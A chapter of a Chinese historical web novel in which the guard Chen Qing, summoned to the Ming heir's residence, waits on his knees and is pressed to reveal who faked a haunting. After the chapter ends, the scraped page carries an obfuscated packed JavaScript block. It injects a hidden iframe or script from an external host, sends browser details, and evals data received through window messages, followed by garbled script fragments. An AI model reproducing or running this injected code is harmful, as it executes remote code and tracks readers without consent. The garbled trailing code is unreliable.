陈卿小心地跟在一个宦官身后,走承运门前广场向东北方向而去,一路上寻思着这公公在王府中地位一定不低,看他这穿着,头戴着一顶乌纱描金曲脚帽,帽前饰以金额,身穿着一件胸背花盘领窄袖衫,束着犀牛带,衣服上的花是大朵的牡丹,在春光的沐浴下格外的鲜艳。再看他方才说话时一副颐指气使的派头,可是比上午见到的前来宣旨的老王爷身边那位公公都要牛逼多了。陈卿总感觉这衣服好像在哪见过。心想着,这公公在王府的地位说不定就仅次于赵承奉了。
一个身边的太监都如此阔气,那即将见到的这位世子爷就更加了不得了吧。他突然想起之前张安跟他说的见到世子要特别小心规矩的话来,又想到了这人对待自己亲兄弟的狠辣,因此心里更加紧张,更不明白这位未来的沈王为何要召见自己这样一个小人物。
前方出现一座高大豪华的独立殿宇,大红围墙格外惹人注目,陈卿抬眼望去,那殿宇阁楼峥嵘,屋脊也比周围的房子要华丽的多,他知道这就是世子府了,心跳的更加厉害。
那公公手执着一柄拂尘,始终走在他前面,也不言语,陈卿跟在他身后一步步走进那府门,刚踏上门前高高的台阶,便感觉到一种压抑的气氛,透过大开的府门向里望去,但见眼前厅堂高远,院宇深沉,处处透着一种让人紧张的威严。
走得近些,他终于看清楚了这庭院的格局,正前面是三间正房,两侧的廊房也足有几十间,所有房梁立柱和周围的游廊,莫不朱漆彩绘,华丽精致,院中随处可见的树木花石也无不精巧。
陈卿跟在那公公身后,穿过来往进出府门忙碌的内史宫人,直奔中堂而去,走到门前,只见那公公小心打开房门上挂着的龟背纹虾须织抹绿珠帘,陈卿低着头跟着他走进房内,以为这位世子爷就在堂中坐着,心脏不由得砰砰直跳。
谁料那公公咳嗽一声,简单交待他跪下等候后,自己却一个人向里走去。陈卿这才知道,到了这里是要等的,于是跪在地上,低着头,大气都不敢喘。
也不知跪了多久,也没人出来招呼他,陈卿直跪的双腿发麻,脖子也发酸起来。此刻,他隐约感觉到这屋子很大,却安静的只能听到自己的喘息声。
百无聊赖之下,他悄悄抬头看去,四下果真空无一人,眼前的视线被一面桌子挡着,再抬高点头,他发现桌上居然放着一个屏风,那屏风螺钿描金,用的是上好的大理石雕刻,足有五尺多高,人即便站起来也未必能看到屏风后的风景。
再看那用来放屏风的桌子,竟然是一张蜻蜓腿螳螂肚皂色起楞的桌子,桌子周围的地面上铺着狮子滚绣球绒毛线毯,而那地毯离他
也就两步远。
又不知过了多久,仍旧没人搭理他,陈卿绷紧的心这才渐渐松弛了下来,开始四下东张西望,他看到桌子左右摆放着两张泥鳅头楠木靶肿觔的校椅,四下还有几个散发着紫檀香的高几,几上摆放着新鲜的盆栽瓶花,难怪这房内一进来就有一种淡淡的香味。
陈卿正看的发呆,突然听到门外传来一阵脚步声,紧接着便听到一阵咳嗽声从他身后传来,伴随着长长的身影随之进来一人。陈卿以为是世子爷来了,赶忙继续低下头。
谁料那人却不言语,而是进屋直接坐在桌前的楠木椅上。
陈卿正在纳闷,这时一个宫女小心的掀开门帘用精致的红木托盘递上一盏茶来,那人吃了,仍旧不言语,宫女小心的收下盏托去,他方才扫一眼陈卿,趾高气昂道:“来人可是新来的护卫叫做陈卿的?”
声音有点尖尖的。陈卿这才小心的抬头,看清楚那人的长相。
此人约莫三十出头,头戴着方巾,身着月白色交领大袖道袍,皮肤白净,身形微胖,墨色的眉毛高高向左右扬起,浑身透着一股清高劲儿。
陈卿不明状况以为这人便是世子,纳头便拜,恭声道:“小人就是陈卿,见过世子爷千岁!”
他跪的时间久了,膝盖有些发酸,正想着这下应该能起身了吧,没想到对方并没有说诸如平身这样的话,反倒是仔细打量了他一圈,慢悠悠道:“嗯,不错,听说你也是读过书的人?”
陈卿小声嗯了一声,腿越来越麻,心里也更加紧张,好半晌才听那人又缓缓道:“恩,读过书就好,读过书就知道礼节,就不用我多说了,等下见了世子爷。规矩,都明白了吧?”
陈卿一听这才傻了眼,敢情这人并不是世子,心中暗暗嘀咕“奶奶的,原来你也是个下人,真是浪费表情,这谁啊这么大架子。”
不过回头又想,人家都说宰相门前三品官,估计这人在世子府应该是有一定地位的,不然他怎敢如此嚣张。
他于是摸摸发麻的膝盖,长长的嗯了一声。
半晌,又听那人道:“嗯,世子爷召见你一个小小的护卫,那是你何等大的荣耀。等下有些话该说,有些话不该说,该说的话要想好了怎么说再说,不该说的一个字都别说,明白?”
陈卿膝盖开始发疼,心想“真是啰嗦。”嘴上却答应的痛快,“小子明白,多谢大人提醒。”那人这才整整衣摆,慢慢起身,一句话没说直接从他身边走出门外,那样子好像是出入自己家一样随意。
陈卿越发的郁闷“这世子府里的怪人还真是不少啊。这一个下人都这么大派头,看来这位世子爷就更不用说了。得了,还是老老实实跪着吧,别回头再让人抓住
什么尾巴。”
又不知过了多久,他才听到一阵咚咚的脚步声从屏风后传来,那声音沉稳,厚重,一看来人就不是一般人物。果不其然,不一时,一个浑厚的声音从屏风后传过来:“进来吧。”
屋子里依旧是安静的很,陈卿正跪的腿脚发麻,一听这话如蒙大赦,赶忙起身,却差点跌倒,用手揉揉发麻的双腿,好容易才又站起来小心翼翼的走上前去。
刚穿过屏风,他的眼前顿时一亮,大白天的,头顶居然点着几十盏精致的宫灯,屏风显然遮挡了外面射进来的部分光线,好在这些灯光又将堂内照亮。
他看到迎面大堂中间放着一张大紫檀卷头长案,案上摆放着一个青绿古鼎,鼎内正焚着淡淡的御香,鼎后墙壁上是一幅江山万年的水墨画,案两侧的紫檀高束腰云蝠纹香几上,一样摆放着花草,两个高大的青花瓷瓶内还有卷轴书画,所有椅桌无不光鲜富贵。
陈卿呆了半天才把目光投向堂前,但见紫檀案前放着左右两排四个黄花梨太师圈椅,正中一个椅子和两边的太师椅明显不同,是个紫檀色椅子,椅上坐着一人,正在接受周围几个太监宫女递上的香巾,漱盂。
“大胆奴才,见了世子爷还不下跪!”陈卿正看的发呆,忽听到一阵熟悉的声音,正是刚才带他进来的那个公公。
陈卿赶忙双膝跪倒,恭敬的匍匐在地上。
半晌,终于听到那人发话了,却没有喊平身之类的话,而是和刚才那人一样的口气,先是问一句:“你就是新来的护卫?”
陈卿紧张的点点头:“草民陈卿,见过王爷千岁。”他心想着这次应该很快能等来平身了吧。
“你这句话犯了两个错误。”没想到他话音刚落,一旁的公公先说话了。
陈卿心里咯噔一下,心想这又是什么情况。
这时只听那公公说道:“第一,世子爷问你是不是新来的护卫,你只需回答是或者不是,没人问你名字。第二,世子爷就是世子爷,你不能叫王爷。明白吗?”
陈卿紧张的心都快跳出来,额头上不知何时已经渗出汗珠。
那人从椅子上站了起来,却似乎没有生气,缓缓道:“你初来王府,有些规矩还不懂,不知者无罪,起来吧。”
“起,起来?他好像刚才说起来?”陈卿紧张的一度怀疑自己是否听错了,愣怔半天终于鼓起勇气站了起来,却还是不敢抬头。
“听说你破了王府闹鬼的谜题,跟本王说说吧,是谁在我王府装神弄鬼?”那人单刀直入道。
“闹,闹鬼?”陈卿心里一蒙,“这,谁告诉的他,闹什么鬼,谁是鬼?这,难道要我说出郡王爷,还有他那个可爱的妹妹?”他心里一下子紧张的不得了,一
句话都说不出来。
“你抬起头来说话!”那人似乎看出他的心思,语气略带严厉道。
“我,我……我不是,不是,什么鬼,是,是……”他开始支支吾吾起来。
“你不用担心,有什么话尽管说就是。”只听那公公说道。“该知道的王爷都已经知道了,只是让你再说一遍,你不用紧张。”
陈卿用衣袖擦拭下额头的汗珠,这才抬头看清楚眼前的那个人。
他头戴着一顶乌纱翼善冠,身着一身大红纻丝织金团龙道袍,年龄约在四十岁上下,个头不高,身材微胖,浓密的眉毛和长长的胡须都微微上翘。他的面色稍暗,没有丝毫清雅细致的感觉,反而有种不该属于他这个年龄的苍老之感。
他看着陈卿,眼泡微肿,微垂的眼睫下有淡淡的黑影,颧骨也有些高耸突兀,衬得整张面庞有种跟他身材不相符的清瘦。
“你不用担心,今天你在这里说的话,除了在场的三个人,不会有第四个人知道。”又是那公公说道。
“你也不用害怕出卖了谁,世子爷从一开始就知道是那个小畜生搞的鬼,只是看他刚死了父亲,着实可怜,才没有在王爷面前揭露他。你穷根究底,把他揪了出来,这事做的很好,虽然你伤了他,但不知者无罪。你让王府重归安静,这点,世子爷是知道的。所以你才有机会比别人升职的快,明白吗?”
那公公一溜话说的很快,陈卿却听的更加郁闷“奶奶的,怎么你知道这么多,知道还问我,这不是把我往火坑上烤吗?原来这次升职是你主子的恩典,难怪,你以为老子稀罕。还有,刚才你叫郡王爷是什么,小畜生?娘的,还有没有点王法了,你个奴才怎么敢这么称呼郡王爷,也太嚣张了吧。”
“坏了”陈卿突然想到什么,惊出一声冷汗。
“他知道这么多,会不会也知道那天我说了啥,我可是在郡王爷面前,把这个世子爷的丑恶都给揭露了啊,他不会连这也知道了吧。”他一阵紧张,仔细想想又不是“应该不会,如果这事他也知道,估计就不会给我升职,说不定我现在早就跟郡王爷一样死的不明不白了,他应该并不知道那晚的具体情况,对,他不知道……”
“那,那我现在该怎么说呢,我……”他开始犹豫起来。
“可眼下,不管怎么说,总得说,不然今天怎么下场。想到这里,他终于支吾道,“是,是郡王世子,他觉得他父亲死的冤,那几日常在家庙哭泣,让人以为是鬼哭,其实不是……”
“哈哈哈!”他话音刚落,便听到旁边传来一阵疯狂的笑声,那声音正是世子发出。
“他觉得他父亲死的冤枉,他就可以在这王府里装神弄鬼,搞的人心惶惶,后宫也不宁。父王,您看到了吧,这就是您宠爱的好孙子,把我堂堂大明沈王府当什么地方了?啊!”
他声音很大,一副气汹汹的样子,吓得陈卿刚站起来的身子差点再瘫倒下去。心想这下完了。
(本章完)
eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%" Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))
_17mb_wappbottom;
setTimeout(function{("nogg").="none";},4000);